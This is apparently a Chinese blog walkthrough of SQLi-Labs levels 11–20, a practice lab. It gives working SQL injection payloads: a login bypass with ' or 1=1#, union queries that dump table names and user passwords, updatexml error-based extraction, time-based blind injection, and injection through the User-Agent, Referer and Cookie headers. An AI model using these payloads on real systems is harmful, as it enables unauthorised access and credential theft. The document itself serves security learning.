Sqlilabs解题思路Less10-20

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

这里需要注意的一点是

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

这里的源码的单引号闭合后,注入的一些SQL语句

必须要前面正确,后面的语句才能跟着执行,
而像union这种语句,不管前面的SQL语句正确与否,都可以执行,但是像 order by 1的SQL语句必须前面正确,然后order by 1才能执行,后面图片可以看到

GET传参会经过URL编码**
POST不会URL编码,比如注释符号:#的URL编码是 %23 ,但是POST并不会解析这个URL编码

POST注入—前后端使用post方法,在“框”中传递参数。表象如下图:

select * from user where username='a' or 1=1 #
表示查询a的字段,由于表里面没有,就会报错,但是后面跟的是或,就算前面不对,后面的1=1 成立了,一样表示对。

1.判断是否存在sql注入漏洞。数据能发现交互,说明存在注入

' or 1=1#
在这里插入图片描述

1.注释:
# 在url  get注入中如果需要使用#注释需要进行url编码,只有Mysql数据库#是注释
建议使用:-- qwe

2.判断网页存在字段数。

1.post注入错误的获取字段数
a' order by 1	会显示账号密码错误
必须要前面正确,后面的语句才能跟着执行,
而像union这种语句,不管前面的SQL语句正确与否,都可以执行,但是像 order by 1的SQL语句必须前面正确,然后order by 1才能执行
2.正确的获取字段数如下
a' or 1=1 order by 1#

这里我们1,2都判断了,一直判断到3的时候报错,那么就说明这里有2个字段
' or 1=1 order by 2# 回显正确
在这里插入图片描述

' or 1=1 order by 3# 回显错误
在这里插入图片描述

3.判断回显点。

这里判回显点的时候,我们要把 or 1=1 去掉,不然数据库会以为 1=1 正确,然后直接执行,而忽略后面的联合查询
' union select 1,2#
在这里插入图片描述

4.获取信息。

1.获取当前数据库
' union select database(),version()#
在这里插入图片描述
2.获取当前数据库表名

1.group_concat(显示全部表名,但是显示的地方如果限制了数据输出的长度,那么无法显示完整)
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述

2.最好使用limit 0,1 依次获取
' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1#

在这里插入图片描述
3.获取表的字段名
' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
在这里插入图片描述

' union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1#
在这里插入图片描述
4.获取字段值
' union select group_concat(username),group_concat(password) from users #
在这里插入图片描述

' union select username,password from users limit 0,1#
在这里插入图片描述

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

和Less-11几乎一样,用")闭合。
") or 1=1 #
在这里插入图片描述

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

闭合方式为'),用万能密码登陆成功后,但是不显示内容,只能用盲注了,但是前面有报错,应该就可以使用报错型盲注。
') or 1=1#
在这里插入图片描述
1.获取数据库
') and updatexml(1,concat(0x7e, database()),1)#
在这里插入图片描述
2.获取表名
') and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
在这里插入图片描述
3.获取字段名
') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)),1)#
在这里插入图片描述
4.获取数据
') and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),1)#
在这里插入图片描述

Less 14 POST - Double Injection - Double Quotes-String (POST双引号字符型双注入)

被题目骗了,闭合方式为",其它和Less-13都是一样的。
" or 1=1#

在这里插入图片描述

Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

' or 1=1#
在这里插入图片描述
闭合方式为',但是没有报错信息了,只能用盲注。
1' or length(database())=8 #,OK和之前的是一样的,就不再试了
在这里插入图片描述

Less 16 POST - Blind - Boolian/time Based - Double quotes(基于bool型/时间延迟的双引号POST型盲注)

闭合方式为"),又被题目骗了,这次用基于时间的注入。
1") or if(length(database())=8,sleep(5),1) #,OK和之前的是一样的,就不再试了。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

在用户名后加字符只会显示下面的图片
在这里插入图片描述

在密码后加字符有报错,说明是以'来进行闭合的
在这里插入图片描述
不论怎么尝试,只要用户名是正确的,都只有这张图,所以用报错注入,当然也可以使用时间盲注
1.获取当前数据库名

uname=admin&passwd=' or updatexml(1,concat(0x7e,database()),1)-- qwe&submit=Submit
在这里插入图片描述
2.获取表名

uname=admin&passwd=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)-- qwe&submit=Submit

在这里插入图片描述
3.获取字段名

uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)),1)-- qwe &submit=Submit
在这里插入图片描述
4.获取数据

uname=admin&passwd=' or updatexml(1,concat(0x7e,(select id from emails limit 0,1)),1)-- qwe&submit=Submit
在这里插入图片描述

Less-18 POST - Header Injection - Uagent field - Error based (基于头部的User-Agnet POST报错注入)

测试后发现用户名和密码都没有注入点。。。
发现登陆成功后,会显示UA
在这里插入图片描述

http头的内容拿到insert 基于报错注入就ok

' and updatexml(1,concat(0x7e, database()),1) and '
在这里插入图片描述

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

这次就是基于refer字段拼接到insert 和上一个一样的道理。
在这里插入图片描述

Less-20 POST - Cookie injections - Uagent field - Error based (基于头部的cookie POST注入)

和前面相似,成功登陆后会显示很多信息,新增了cookie

Cookie: uname=' union select 1,2,database()--+

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值